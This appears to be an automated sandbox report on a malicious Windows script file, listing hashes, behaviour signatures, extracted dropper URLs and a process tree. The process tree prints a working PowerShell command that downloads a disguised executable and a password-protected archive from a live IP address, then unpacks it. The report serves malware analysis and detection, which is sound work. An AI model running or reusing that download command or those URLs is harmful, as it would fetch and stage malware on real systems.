Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    22/01/2024, 21:29

General

  • Target

    ScheduIe-K.wsf

  • Size

    4KB

  • MD5

    eafa5d2bdb1f8bca65b208d7e6101e1c

  • SHA1

    da7085b340e3b02d94bb4acc92ee9475133b7948

  • SHA256

    572a90ba88b5424d527785d48667dfd95293469b07ab016970b7253e2bb5d0d0

  • SHA512

    2114d0dda32e2224c8253a9ec038b6f212a01082bb73222780391e0842a73097c57454f248135671f67662f419bba9c5cbb7721a1eba6790eb59381e7a4bbda8

  • SSDEEP

    96:021JYd1k2ig3AwYx4wg3CWPqrHekw21JYd1k2ig3AwYx4wg3CWPqrHek4:Np2ioAwYgSWPqTeGp2ioAwYgSWPqTeB

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.107.185.29:666/Rar.jpg

exe.dropper

http://176.107.185.29:666/load.rar

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ScheduIe-K.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-BitsTransfer -Source 'http://176.107.185.29:666/Rar.jpg' -Destination 'C:\Users\Public\Rar.exe'; Start-BitsTransfer -Source 'http://176.107.185.29:666/load.rar' -Destination 'C:\Users\Public\load.rar'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:940
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Rar.exe x -p111 load.rar
      2⤵
        PID:2720

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/940-7-0x000000001B720000-0x000000001BA02000-memory.dmp

            Filesize

            2.9MB

          • memory/940-8-0x0000000002630000-0x0000000002638000-memory.dmp

            Filesize

            32KB

          • memory/940-9-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

            Filesize

            9.6MB

          • memory/940-10-0x0000000002DC0000-0x0000000002E40000-memory.dmp

            Filesize

            512KB

          • memory/940-11-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

            Filesize

            9.6MB

          • memory/940-12-0x0000000002DC0000-0x0000000002E40000-memory.dmp

            Filesize

            512KB

          • memory/940-13-0x0000000002DC0000-0x0000000002E40000-memory.dmp

            Filesize

            512KB

          • memory/940-14-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

            Filesize

            9.6MB